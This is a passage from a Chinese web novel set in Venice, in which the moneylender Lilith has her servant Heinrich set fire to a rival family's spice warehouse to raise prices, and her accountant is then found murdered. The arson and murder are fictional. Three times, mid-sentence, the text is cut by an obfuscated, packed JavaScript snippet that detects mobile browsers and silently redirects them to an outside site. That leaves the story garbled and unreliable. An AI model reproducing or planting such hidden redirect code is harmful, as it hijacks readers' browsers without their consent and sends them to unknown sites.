她的梦中是烈火熊熊燃烧的炼狱,毛罗像一条畜生般噬咬她的血肉,玛丽亚微笑着掰开她的嘴巴往里面下毒。她信任的女仆们同她一样变成了残缺的断肢。而布鲁诺、马西莫、还有她不认识的男性长辈们正与三个无头的妓女谈笑声风。他们喝着从莉莉斯血管里抽出的红酒,吃着用她的指甲作装饰的蛋糕。疼痛使她撕心裂肺地嚎叫,屈辱使她的眼泪流至干渴。 正当她以为自己会就这么死去的时候,炼狱的大门缓缓打开,原先聚在莉莉斯周围的所有人都消失了,只剩下海因里希向她缓缓走来。他披着黑色的披风,面容模糊不清,她几乎就要以为这是她所熟知的那个海因里希,可当他走近时,莉莉斯看见的却是一双充满仇恨的眼睛。 “海因里希……” 她的未婚夫轻轻用手指掐住了莉莉斯的喉管,为她精心佩戴上镶嵌着宝石的枷锁。她身上的裙子顿时变得雪白,如婚纱一般白得刺目。 “你是我的妻子,你永远也不能背叛我,不能离开我。” “不要!海因里希!不要!“ 莉莉斯从睡梦中猛地惊醒过来,发现海因里希正端着烛台站在她身边。 “你在这里干什么!”莉莉斯吓了一跳,紧紧攥住海因里希送给她的荷兰兔玩偶。 “您一直在睡梦中大喊我的名字。”海因里希用温柔的嗓音安抚道,“您做噩梦了吗?” “嗯。”莉莉斯坐直了身子,伸出手去摸海因里希的手,来自另一个人的体温令她终于分清了梦境与现实,“我梦到了我的未婚夫。我喊的是他的名字。” “您梦到他来找您追魂索命吗?” “比这恐怖多了。我梦到他要和我结婚。我害了这么多人,我早就知道我死后一定会下地狱,所以我根本不怕死。比起死,我更害怕被圈住,更害怕失去自由,害怕像那些循规蹈矩、结婚生子的女人一样过上如同家畜般寄人篱下、任人摆布的日子。这就是为什么我必须要海因里希死,也得让任何一个威胁到我的人去死。” “……” “父亲、兄长、丈夫,没有任何人能靠得住,我只能靠我自己。我绝对不会让自己过上玛丽亚那样悲剧的人生。我没有索菲亚那样殷实的家底与高贵的出生,也没有埃莱娜姑姑那样得天独厚的机会与强健的体魄,但是我有我可以做的事,我的银行很快就要开业了,我一定会好好经营她……让她越来越好。” “一定会的。”海因里希面无表情地看着裹在被子里瑟瑟发抖的莉莉斯,脑海中突然浮现出一个绝佳的复仇手段,“我会尽全力帮助您,您一定会得偿所愿。” “海因里希,”莉莉斯抬起头,楚楚可怜的绿眼睛里仿佛泛着眼泪,“你留在这里陪我,等我睡着后再离开。” “好。”海因里希将烛台放在床头柜上,搬了一把椅子坐在莉莉斯的床边。他留意到床头柜上放着一本书,是薄伽丘写的《十日谈》。 “我想听故事。”莉莉斯用小孩子撒娇般的语气对他说。 “从哪里开始读呢?” “从头开始吧。跳过前面的前情,从第一则故事开始。” “好,” 海因里希翻开书,借着烛光看见陈旧的羊皮纸书页上已经被翻阅得满是折痕,“接下来要讲的故事,是一个十恶不赦的放贷者死后却成为圣徒的故事。” “这是放贷的莉莉斯最喜欢的一个故事。” 莉莉斯紧紧抱着玩偶闭上双眼,露出一个满意的笑容,很快便在海因里希的轻声朗读中再一次进入梦乡。 26. 庆祝开业的大火 自从在莉莉斯麾下为她工作以来,海因里希杀人的勾当没少干,现在轮到放火了。 熊熊燃烧的大火点燃漆黑的夜空,迅速吞噬了码头上囤积香料的仓库,滚滚浓烟中散发处炙烤胡椒与丁香的焦香。海因里希在确认火势蔓延后迅速根据提前规划好的路线撤离现场。而在城市的另一端,莉莉斯正十分惬意地坐在阳台上隔岸观火。 “塞西莉娅,你知道吗,很多人说威尼斯俯瞰的形状像一条海豚。简直就是胡扯。看看地图吧!哪有那么胖的海豚,这分明就是一条比目鱼,一条肥美的比目鱼。”莉莉斯满意地嗅了嗅,“而现在变成了一条香烤比目鱼。” 即使是伺候莉莉斯已过两年的塞西莉娅,听到她说出这么丧心病狂的话来也不知道该怎么接。好在这么浓的烟雾势必会很快唤醒沉在睡梦中的威尼斯人起来灭火,潟湖河道里流淌的水唾手可得,火势不至于蔓延太大造成人员伤亡,但也能够达成莉莉斯的目的——摧毁威尼斯城中最大的香料仓库,把香料的价格炒上去。 一周前,莉莉斯的银行顺利开张。新银行直接沿用了原先收购银行的办公地点。与莉莉斯的住宅很像,这也是一栋三层的小楼,一楼是会客办事的柜台,方桌上铺着绿色的桌布,这种将人与人、人与金钱、金钱与金钱连接起来的小桌就是意大利语中“banca”(银行)这个词最初的含义。 二楼有办公区域和供银行工作人员起居的卧室,三楼则是高级会客厅与金库。尽管陈设有些旧了,但好在桌子椅子都是现成的,只等着开业当天,工人们在门头挂上新的招牌便可以开始营业。 Banca di L.C.Schmidel (L.C.施密德尔银行)是莉莉斯新定制的招牌,也是她为银行起的新名字。 被缩写的L与C分别指的是莉莉斯的名字与母姓克纳罗,而施密德尔则是夫姓,被用来当作银行的名字,既可以强调银行主人作为“已婚妇女”的身份,又可以与克纳罗家族撇清关系,这样对莉莉斯而言更加自由,家族也能够在抽取利润的同时不对银行的债务与损失负担任何责任。 索菲亚、埃莱娜,还有莉莉斯在修道院学校结实的几个好朋友都来祝贺银行的开业。除了汇兑商行会的几个工作人员和收受过莉莉丝贿赂的银行家以外,不算宽敞的大厅里挤满了女士的裙撑,比起商务场合更像是贵族小姐的社交舞会。埃莱娜带来了不少商人朋友帮朱莉莉斯拓展人脉,而索菲亚身后仍旧跟着一个穿着入时服装的高个子帅气男人,只不过和上次带去葬礼的那位显然已经不是同一个人。 东道主莉莉斯让伊万卡准备了丰盛的点心茶歇与品质上乘的葡萄酒款待所有来捧场的新老客户。她自己则穿着黑裙的莉莉斯笑着站在人群中间,优雅自如地畅谈着银行未来的发展方向和目标。除了过往经营的存储和信贷业务之外,她希望能继续拓展汇兑交易的辐射范围,在意大利不同城邦乃至更远的地方开设分行。 塞西莉娅、塔塔、海因里希和夏洛克作为骨干员工,也纷纷穿上了正装礼服向莉莉斯招待不过来的客人们介绍银行现状与业务范围。他们的胸口都别上了雕刻“L. C. Schmidel” 字样的银质勋章,莉莉斯还为他们每个人订制了写着名字,职位和联系方式的小卡片,据说是采纳了塞西莉娅家乡的人做生意的传统。 海因里希在拿到名片的时候才知道莉莉斯帮他摆脱奴籍的原因——这是为了将他登记成L.C.施密德尔银行的法定代表人,这一职责只有自由人可以担任。 “这当然是出于对你的信任,我亲爱的海因里希。”莉莉斯狡黠地笑着,逼迫海因里希在变更法人的文件上按下指纹。 然而,隐藏在隆重的开业典礼、华丽的礼服与虚无缥缈的美好愿景之下,实实在在摆在莉莉斯面前的是收购造成的大额开支与债务危机。 收购的过程更多只是账目上的移动,在债务完成重组开始兑付之前,钱还是紧紧攥在莉莉斯的手里,只是换了个名头,暂且不碍事。但是,之前贿赂主教的钱,还有在汇兑商行会打通上下关节的小费全都是真金白银,更不要谈与毛罗勾心斗角时的人员走动又额外增加了一笔开销。 有的支出还能勉强做进公司账目,比方说莉莉斯给银行旧主所罗门·戈德斯坦买的一张前往耶路撒冷的单程船票,是为了“犒劳”他在审判毛罗的晚上冲进大厅导致莉莉斯不得不向家族让利的“谢礼”。这条海上朝圣之旅条件艰苦,异常凶险,每艘船都能有近三分之一的人撑不到圣地便身染重病而亡。因此莉莉斯不惜亲自去送行,眼睁睁看着他上了船才放下心。 然而,有的费用就实在不能计入进去,比方说买凶杀害毛罗的费用。由于他被威尼斯执法机构四十人委员会关进了监狱,在流放前都有人严加看守,莉莉斯没办法派自己人出手,只能在送他去克里特岛的船上委托别人办事,这么下来又是一笔开销。为了支付这笔价格不菲的暗杀,莉莉斯甚至变卖了她的一对珍珠耳环。 更糟糕的是,银行正式开业不仅没有给莉莉斯带来任何新客户,反而还使得几个担心存钱拿利息被丈夫或父兄发现的贵族少女前来提款撤资。相比开在大街上有头有脸的银行,像以前那样隐匿在闺阁中的秘密交易更令她们感到安心。尽管莉莉斯一再担保她会竭尽所能保护所有客户的隐私,但也拗不过客户已经做好的决定。 于是开业第三天,莉莉斯就已经在会计师夏洛克和海因里希一起新算出来的账目前焦头烂额地干着急。 “银行是开起来了,钱是不知道跑到哪里去了。”莉莉斯烦躁地拨弄着总裁办公室里已经被盘包浆了的算盘,气鼓鼓地吐槽到,“戈德斯坦欠下的债得还,硬拖着也不是办法,还得要注入新的资金才行。” “您打算怎么做?”海因里希站在她旁边核对账目,心不在焉地问。 “你就知道问我该怎么做,你就不能主动想点办法帮帮我吗?”莉莉斯没好气地瞪了他一眼。 “有句老话。”海因里希装作不经意地说,“赚钱的法子都写在刑法里,就看你敢不敢去做。” “你这是在教唆我去犯法吗?”莉莉斯挑眉。 “您犯法的次数还少吗?”海因里希揶揄道,“我这是在向您学习,将您当作榜样。” “很好。”莉莉斯用羽毛笔的尾巴轻蹭过海因里希的脸,“我就喜欢你这样大胆的员工。具体说来听听。“ “您为了用货物来抵戈德斯坦欠下的债款,买下了埃莱娜小姐这次从佛罗伦萨带来的所有羊毛和丝绸,还有别人即将在七天后交付给她的一艘船的香料期货。” “是啊,但是最近的香料价格不太好。”莉莉斯眨了眨眼睛,“这也是为什么埃莱娜会将那批货便宜卖给我。她在威尼斯停留的时间不会很长,按照现在市场上价格低迷的行情,这批货要清完肯定得要有一段时间。” “那么,如果短期内香料价格飙升,您的这批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973651|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香料货值自然也就上升了。” “怎么让它能够飙升呢?” “香料之所以价高,就是因为供不应求。如果您能够让市场减少总体供给……” “怎么减少?”莉莉斯迫不及待地催促海因里希说重点,不要绕弯子。 “圣马可码头旁边有整个威尼斯最大的香料集散仓库。” “那可是康达里尼家族的地盘!”莉莉斯瞪大了眼睛惊呼道,“与丹多洛家齐名的威尼斯贵族世家,整个威尼斯经营香料生意的名门中属他们家最大,集散仓库里暂存着来自各个家族的货物,连我也有一小批丁香放在那里。” “香料为了易于运输和保存,都做了风干处理,非常容易点着。如果说全威尼斯最大的香料仓库不慎失火,那么……” “可以啊,海因里希。”莉莉斯露出了满意的笑容,“你的胆子也太大了。” “这么做会不会有点太明目张胆了?”塞西莉娅站在一旁听完全程,有些担忧地问,“如果海因里希被抓住,或许会有牵连到夫人的可能性。” 莉莉斯皱着眉头拨弄已故丈夫送给她的指环,思索道:“如果成功了,这笔香料的货值就足以解除我们眼下的所有财政危机。赌一把咯,只干这一次。海因里希,既然你提出来了这么个好主意,那么也就由你去实施吧。” 她赌赢了。 四天后的夜晚,康达里尼家族香料仓库失火。尽管大火被及时扑灭,没有任何人员伤亡,但总值高达数万杜卡特的珍贵香料被付之一炬,就算是没烧完的也被泼了海水,相当于全部报废。 第二天一早,康达里尼家族召开紧急会议,邀请所有在仓库中有货物存储的客户齐聚到他们公司的会议室。 莉莉斯身着一袭黑裙到场,她看到几个熟悉的身影坐在圆桌前,正怒气冲冲地指责古利提家族的失职。克纳罗家族的家主马西莫也在席间,双手抱胸,一言不发,想必也遭受了不少损失。而莉莉斯由于存货量极少,在桌前并没有座席,只能随着另外几个小货主一起坐在圆桌外围摆着的几个小凳子上。 康达里尼家族的现任家主是一个刚满三十岁的青年。栗色的齐肩长发用丝带束起,戴着一幅圆形框架眼镜,还没有蓄胡,因此看起来比实际年纪更加年轻。他神情严肃地穿过人群,坐在了圆桌的主位前,目光扫过在场的所有人,短暂停留在了那个蒙着黑纱的红发寡妇身上。 莉莉斯并不喜欢着这种被男性凝视的感觉。虽然洛伦佐在一众贵族当家中算得上极为年轻,但毕竟也比莉莉斯大了十岁有余。尽管只有了一瞬间,那道隔着一层镜片,仿佛能洞察一切的锐利目光还是让她很不舒服。 洛伦佐与共和国大多数世家子弟的经历很不一样。他没有像大多数贵族出生的少年一样去参加航海试炼,当然了,也没有像毛罗这样的纨绔子弟一样虚度光阴。做为次子的他被送去了博洛尼亚的大学就读神学、逻辑学和修辞学,本想浸在学术中度过一生,却因为家中长子出事而不得不回威尼斯继承家业。 然而初出茅庐的洛伦佐从未让康达里尼家族的长辈失望,家族主营的香料业务生意越做越大,虽然偶尔有价格浮动或者海盗袭击造成的亏损,但总盈利仍旧水涨船高。可这一次仓库失火直接给他来了当头一棒。 作为幕后黑手的莉莉斯一点也不愧疚心虚,反而还有些忿忿然地撅了撅嘴,学着在场的老头的样子装出一幅因为亏损而闷闷不乐的表情回敬给他。 27. 无辜者的死亡 “因为这场火灾,我们家族损失了至少上千杜卡特!”一个大腹便便的中年男人向洛伦佐怒气冲冲大喊道。莉莉斯侧目看过去,依稀记得仿佛在某次社交宴会中见过这个胖大叔,但并不熟悉,应该并不是属于威尼斯八大古老家族的一员。 “奥尔索先生,我完全能够理解您。”洛伦佐不紧不慢地回应道,嗓音优雅沉静,脸上是一幅感同身受的神情,“康达里尼家族承担了大部分的损失,我们完全能体会您所承担的痛苦。” 听到了“奥尔索”的姓氏,莉莉斯再次验证了自己的想法。此人来自一个近些年才起家的新钱家族,难怪即使贵为家主也会如此没有教养地在会议中大喊大叫。 莉莉斯突然想起来自己的未婚夫,那个叫做海因里希·施密德尔的家伙同样也属于一个富了没超过三代的新家族,更不要说还是来自德意志那种蛮荒地区。她在内心中暗自舒了一口气,再度庆幸自己没有真的远嫁过去。 “不,你不能理解!我这一批顶级丁香可是要进献给法国王室的好货!现在在你们的仓库里没了,我可怎么向国王陛下交代!” “您稍安勿躁。”洛伦佐招呼下人来为奥尔索先生的杯中倒了上好的勃艮第红葡萄酒,自己则仍旧严肃、镇定、而不失优雅地站在长桌正中心的主位前: “我正要向在场各位宣布我们对此次失火的解决方案。香料是非常珍贵的货物,货值也非常高昂。仓库中六成的香料都是康达里尼家族名下的财产,因此我们的损失高达上万杜卡特。 “我们的货仓本应履行保护货品的指责,却由于看守失职而酿下了这次大祸。发生了这么低级的错误,实在是康达里尼家的耻辱。我不仅为付之一炬的财富而伤心,更因自己的疏于管理而自责。 “因此,康达里尼家族将积极承担起弥补这次损失的责任以换回大家的信任。今日与会的所有货主都将获得寄存商品货值的等价赔偿金,具体的细则在每位面前的合同中已经写明。” 莉莉斯从侍者的手中接过一卷羊皮纸,一目十行地掠过上面书写的条例。……以香料入库时的当日市场价格赔付等值现金,并入客户向康达里尼银行存入的至少100杜卡特的定期存款保证金……等等,康达里尼银行?这是什么意思? “经此一役,我们损失惨重,也深刻意识到了商业保险的重要性。因此,康达里尼家族决定开设家族银行,正式经营存储、汇兑与保险业务。赔款金额将会由工作人员核对后计入在各位的银行账户上,还会额外附赠各位保险服务的优惠抵扣。”洛伦佐一边向众人解释,一边自信观察着他们的反应。 “什么?我们都已经遭遇了那么大的损失,居然还得强制存入100杜卡特?这简直就是抢劫!”奥尔索先生替包括莉莉斯在内的在场众人问出了大家都想问的问题。他喝多了酒,一张圆脸红得像是一颗熟得快要爆汁的番茄,思路倒非常清晰: “而且按照存入当日的价格赔付现金而不是等值货物,不就等于要让我们这些做期货的货主来承担价格差造成的损失吗?现在香料价格翻了好几倍,一周前同样价格的货,现在得要翻好几倍的金币才能买来向客户交差!” 胖大叔说的没有错。莉莉斯眨了眨眼睛,默默分析着洛伦佐这一套操作背后的动机。答应赔付的金额是写在账目上的数字,但是存进银行去的100杜卡特确是实实在在的真金白银。表面上,康达里尼家族承担赔付,实际上,他们利用这次机会迫使威尼斯的大小世家贵族纷纷在他们的银行开设账户,注入资金,不仅能够有助于康达里尼家族巩固现金流,还收获了大量未来可能会继续使用银行服务的客源。 “真的非常抱歉。”洛伦佐推了推眼镜,不卑不亢地宣布,“由于需要赔付的总金额过大,加上康达里尼家族也正在背负着巨额损失,我们实在没有能力立刻掏出那么多现金完成赔付。这份解决方案是我们在连夜开会商讨后能够做出的最大让步了。这次火灾对于所有人而言都是一场浩劫,我们诚挚地希望各位能够和我们一起共度难关。稍后我的助理会和大家分别约时间具体详谈。” 会议就这样在众人窸窸窣窣的小声议论中草草结束了。莉莉斯在这里存放的香料货值都还不满100杜卡特,所以她绝不会好心花费本就稀缺的现金来给康达里尼家族解决财政危机。在她决定放火的那一刻起,这一小笔损失就已经记入了她为博取更大利益而投入的成本当中。 塞西莉娅在会议室门口等她。莉莉斯挽着塞西莉娅的手,正打算要回家时,一个温柔的男声叫住了她。她回过头,看见洛伦佐站在她的身后,向她露出一个友善的笑容。 “施密德尔夫人。久仰大名。” “康达里尼先生。”莉莉斯松开手,提起裙摆向洛伦佐行礼,“我只不过是一个深居简出的小女孩而已,怎配得上您一句久仰呢。” “您可是大名鼎鼎的‘放贷的莉莉斯’,是将一家濒临破产的银行收购重组后重获新生的金融神医,我怎会不知道呢?”洛伦佐轻轻握住莉莉斯的手,隔着一层黑色蕾丝手套在她的手背上留下一个吻,“叫我洛伦佐就行。贵行新开业我正愁着抽不出时间登门造访,还好您亲自来了,真人竟然比传闻中的还要漂亮。” “您太过奖了。”莉莉斯被夸得有些不好意思。以前她收到的从来都只有质疑,这还是她第一次收获赞赏,一时竟不知道是该承认还是该自谦,“不过是些不入流的小本生意而已,哪能跟您比呢。我也要恭祝康达里尼银行开业大吉才是。” “您是聪明人。相比一眼就能看出来,在这个时间点开银行只是我现在面临危机的无奈之举。”他突然凑近过来,附在莉莉斯的耳边略带委屈地对她抱怨道,“那位奥尔索先生正在我的私人会客室里大发雷霆呢!他一直拿着与法国王室的交货合约威胁我,我都不知道该怎么样才好。” “要与这样难缠的家伙周旋,您可真是辛苦了……”莉莉斯再次感觉到了那种微妙的不舒服,尽管洛伦佐的一切行为似乎都并不能算是失礼。 “我听说您的名下将有一艘满载香料的海船即将到港。”洛伦佐突然压低了声音,脸上却仍旧在笑,“如果您能够将这船香料以市场价出手给我,那绝对是帮我了一个大忙,您想必也可以大赚一笔吧。” 莉莉斯沉默了。香料从埃莱娜名下划到她名下的事她从未与任何外人提起过,康达里尼怎么可能会知道这件事?难道是埃莱娜那边泄露的消息吗?莉莉斯突然有些心虚。有关交易的事儿走漏风声也就罢了,要是被洛伦佐知道其实莉莉斯就是策划这次火灾故意炒高香料价格的罪魁祸手,那可就完蛋了。 “不不,并没有这样的事,您一定是搞错了。”莉莉斯讪笑着准备糊弄过去,“那其实是我姑姑埃莱娜的货,她急着要赶回佛罗伦萨去,才委托我帮她照看一下,但我并没有直接处理的权力,实在无法帮到您,真是抱歉。” “哦,原来是这样。”洛伦佐的语气中透露出明显的失望之意,“是我冒昧了。克纳罗家的女性真是人才济济啊。” “我还太年轻,怎么可能和埃莱娜姑姑相提并论呢……还要向长辈们多多学习才是。” “既然您这么说了,那我作为前辈给您提一句醒吧。做生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973652|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意最重要的就是控制风险。特别是您做汇兑生意,多的是不可控的风险。”洛伦佐露出了讳莫如深的笑容,“就像我的仓库不知怎么就着了火一样,您的银行也要好好注意风控才是啊。” “多谢康达里尼先生提醒。”莉莉斯在内心中不断告诉自己,他只不过是虚张声势罢了,没什么好怕的,千万不能露馅,“时候不早了,我的银行还有事等着我回去处理,先失陪了。” “后会有期。施密德尔夫人,相信我们很快就会再见面了。” “再见。” 莉莉斯强装镇定地挽住埃莱娜的手,匆匆离开了康达里尼家的办公室。等走过了好几个路口之后她才松了一口气。 “塞西莉娅,你有没有觉得洛伦佐看我的眼神很奇怪?” “还好吧,他似乎对谁都是那样笑眯眯的。” “你不觉得在那幅笑眯眯的面孔背后有些说不清道不明的恐怖吗?” “他毕竟算是您的竞争对手,对您礼貌之余有所提防也合乎常理。” “这些男人真是……各有各的古怪。” “比起洛伦佐,我倒觉得海因里希这两天更奇怪。” “怎么讲。”莉莉斯皱起了眉头,“你是不是觉得他这次的建议太过火了?” “他的行事方法令人琢磨不透。”塞西莉娅分析道,“平常都闷声不响的,上次毛罗的事突然自作主张去请了个什么赌场老板来。虽然说上次结果不错,但是这次实在是太冒险……” “上次的事我批评过他了。”莉莉斯打断道,“这次的事虽说是他的主意,但毕竟是我拍板定下来的方案。我需要这种有些激进的下属冲在前面,就像我同样需要你这样能帮我把关风控的下属来质疑我的决策。” “属下不敢。” “没有什么不敢的。我会好好思考你说的话。” 走着走着就回到了银行门口。海因里希听到了声音,立刻站起身来迎接女主人。莉莉斯板着脸白了一眼他,什么也没说就向楼上的总裁办公室走去。海因里希不知道什么事又惹毛了她,只好卑躬屈膝地跟在后面上楼。 “情况如何,一切还算顺利吗?”等进了办公室关上门,海因里希才提出他的疑问。 “海因里希。”莉莉斯严肃地叫住他,“你做事的时候没有留下什么蛛丝马迹吧。” “绝对没有。万无一失。”海因里希斩钉截铁地说,“我可以以性命担保。” “你这条命只值50杜卡特而已。”莉莉斯不屑地挖苦道,“你去告诉夏洛克和塔塔,今天傍晚到货的那船香料,对外就说只是些克纳罗家族订购的葡萄酒,等入夜后再卸货,分批次分销给黑市的零售商,记住,只收杜卡特现金,概不赊账。这件事夏洛克有经验,让他来做就好,你不要掺合。” “遵命。”海因里希早已经习惯了莉莉斯那张跟抹了毒药似的嘴,没有一丝波澜。 “接下来几天低调行事吧。”莉莉斯不耐烦地盯着他,“现在我穷得很,就算是50杜卡特我也舍不得,不要有什么闪失。” “您放心。” “好了,回去工作吧。” 莉莉斯一点放不下心。洛伦佐的目光令她非常不安。尽管理性告诉她不会有事,但感性上总有些什么不好的预感。 持续不断的高压导致她在夜里根本无法入眠,满心牵挂着码头上的交易。第二天一早,她顶着黑眼圈从床上爬起来,看见塞西莉娅一脸惊恐地站在她身边。 “怎么了?”莉莉斯揉了揉眼睛,后脑勺一阵阵发疼。 “夏洛克……他死了。” 28. 令人不悦的重逢 事出突然,莉莉斯根本来不及梳妆打扮,换上外衣戴上头纱便立刻出发前往事发的卸货码头。由于码头上闲杂人等众多,海因里希和塞西莉娅一起陪着她过来。 下了贡多拉莉莉斯就一路奔向海边,卸货工人和水手正一箱一箱地将新到的货物运下船,海鸥聚在一起捡食地上散落的面包屑。太阳照常升起,但是死去的人却再也醒不来了。 两位执法官身披深蓝色披风,戴着四角形的黑色高帽,正在调查询问事发现场的情况。威尼斯的执法官几乎都由志愿从政的贵族子弟担任,因此莉莉斯一眼便认出了其中一人与克纳罗家的旁系的堂姐似乎有姻亲关系,立即冲上去将他拉到一边搭讪道。 “姐夫早上好。”莉莉斯实在想不出来他叫什么名字,随口一扯道,“我是克纳罗家的莉莉安娜,布鲁诺·克纳罗的女儿,海因里希·施密德尔的遗孀。您虽然没参加过我的婚礼,但是有可能参加过我丈夫的葬礼。” “哦,你是红发的莉莉安娜。”执法官先生上下打量了一下这个红发黑裙的女孩子,倒是切实认出了她,“你来这种地方干什么?” “逝者在我名下的银行工作。是我非常重要的员工,与我母亲有恩。”莉莉斯按捺住心中的焦急,“我想知道发生了什么。” “你的银行???” “姐夫,这不是重点。”莉莉斯皱了皱眉头,“请告诉我夏洛克先生是怎么死的。” “对不起,这实在不能告诉你。执法官的工作内容是需要保密的。” “姐夫,就帮我这一次,莉莉安娜会永远记得您的恩情。”莉莉斯眼见来硬的没有用,马上切换了一副面孔,尽管她其实非常厌恶这么做,但是当她睁大眼睛,用楚楚可怜的目光看向年轻男性时,对方往往都不会再拒绝她无伤大雅的请求。 “好吧,我只能透露一点点。”执法官环顾四周,压低声音告诉她,“根据法医的检测,死亡时间在黎明以前,头部被钝物击打,打晕后伪装成溺水丢进了水里。” 莉莉斯眨了眨眼睛,思考着这种行凶方法的利弊。如果是打晕了丢进没有那么多人经过的水域,等尸体已经泡烂了才捞起来,法医或许就鉴定不出来这是先被打晕了再丢进去的,不过也会有被害人装晕逃遁的可能性……不对,现在比起展望未来,更应该关注的是当下的案件。 “凶手抓到了吗?”莉莉斯接着问。 “还没有,由于当时天还黑着,码头上没什么可靠的目击证人。我们推测可能是为了抢劫财物所致……” 执法官说到一半,突然被一个突如其来的拍肩打断了。 “早安,执法官先生。早安,施密德尔夫人。”是洛伦佐,栗色的头发在阳光下泛出和煦温暖的橘色,脸上是标准的职业式微笑,“我就说吧,我们很快就会再次见面的。” “洛……康达里尼先生。”莉莉斯惊讶地睁大眼,心中升起不好的预感。 “叫我洛伦佐就好。” “请问您有何贵干?” “我来监督我的香料卸货。哦对了,您可能还不知道。”洛伦佐转过身看向不远处的码头工人将一箱箱胡椒、丁香与良姜从货舱里搬出来清点,“您的这批货物夏洛克已经全权交托给我了,虽然他不幸遇难,但我还是会按照合约把杜卡特现金送去L.C.施密德尔银行。” “什么?!” 莉莉斯难以置信地看着他,一夜之间原属于自己的那船货物竟然已经被洛伦佐占为己有。 “您别担心。合约上的金额是按照市场价格来计算的,绝不会让您吃亏。”洛伦佐笑着递给莉莉斯一卷羊皮纸,“我们康达里尼家族最讲究诚信。希望这次交易能够使双方都感到满意才好。” 莉莉斯难以置信地展开羊皮纸合同粗略过了一遍,页末确确实实有夏洛克的签名与按上的指纹。她将合同递给塞西莉娅和海因里希传阅。 “对于贵行账房的离世,我深感惋惜。虽然康达里尼家族在银行业也是初出茅庐,但是我本人在贸易行业浸淫已久,也积攒了一些人脉。”洛伦佐突然将身后的一位老者引到莉莉斯面前,“这是内格罗先生,是在我手下工作了多年的老会计。夫人您如果不嫌弃,可以随意调遣他来为您分担辛苦。” “多谢您的好意。”莉莉斯装作没有看见那位老人,一把拽住海因里希的袖子将他向前扯,“本行不只有一位会计师,他是新上任的首席财务官海因里希,过来,与康达里尼先生问个好。” 海因里希略有些尴尬地与洛伦佐点头致意。虽然突如其来的升职算得上是一个好消息,但莉莉斯明显是招呼小猫小狗一样的语气实在是令他不知如何应对。 “哦?这位先生看着倒像是德意志人。”洛伦佐轻飘飘地评论道,“施密德尔夫人真是能人善用,麾下既有外邦人,又有犹太人,唯独不愿意信任我们威尼斯本土的基督徒合作伙伴。” “他们都是我手下非常优秀的员工。”莉莉斯非常不悦,“我聘请什么样的人与康达里尼先生似乎没有任何关系。我还有事,失陪。” “是我失礼。”洛伦佐抿唇道,“那就不打扰您了。” 莉莉斯已经不是第一次怒气冲冲地踏进银行的大门了。一路上她一句话也没有说,海因里希同样一直保持着沉默,还是塞西莉娅率先开口。 “夫人,您打算怎么做?” “好好安抚夏洛克的家人。为我备一份郑重的哀礼,明天我要去亲自拜访他的妻儿致意。” “遵命。” “还有,查下去。”莉莉斯恶狠狠地说,“绝对不能让他就这么不明不白地死了。我不相信这是意外。海因里希,你来负责这件事。” “可是以前类似的情报工作不都是交给塔塔吗?”塞西莉娅对这项决策有些意外,“夏洛克去世了,海因里希还得顶上去负责原本夏洛克把关的财务工作,会不会忙不过来?” “让塔塔做好份内的商业情报调查就好。上次毛罗的事情就是海因里希负责,他自有办法。”莉莉斯冷冰冰地瞥了一眼海因里希,“至于财务工作……我们正式开业到现在做过的所有交易两只手都能数得过来,这么简单的账目我自己都能记,倒是不着急。只不过现在行里统共就我们四个人……想要拓展业务的话……确实是得招人了。” “您准备怎么招人?” “去老地方咯。让塔塔去给那边递个消息,今天晚上你和海因里希陪我去吧。”莉莉斯摸了摸左手无名指上的红宝石戒指,戒面在阳光下折射出鲜血般刺目的色彩。 傍晚入夜前,洛伦佐承诺支付的杜卡特金币终于被送至银行。负责出纳的塞西莉娅忙着清点钱币确认收款抽不出时间,便只能由目前还在因为没有交易而一身轻松的海因里希单独陪着莉莉斯去那个所谓的“老地方”。 即使他心知肚明此行的目的地将是一个肮脏污秽的场所,海因里希还是在出门前换上了一套体面的衣服,尤其是莉莉斯亲自为未婚夫裁制的衬衫,还有那枚象征着莉莉斯对他的信任的家纹戒指,仿佛是为了彰显他并不再是交易中的货物和商品——而是站在铁栅栏另一边的消费者,从被剥削者成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973653|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有权去剥削别人的人。 船头上挂着的煤油灯点亮夜幕中漆黑的海面,船夫熟练地驾驶着小船离开主岛,向那个位于西南角的罪恶之地前进。这片海域与威尼斯主岛一样,被包含利多在内的多个附属岛屿所环抱,来自亚得里亚海的风浪都被挡在了港湾之外,因此即使是夜间也十分平静,贡多拉只是随着海风轻微颠簸,与在潟湖中行驶并无二致。 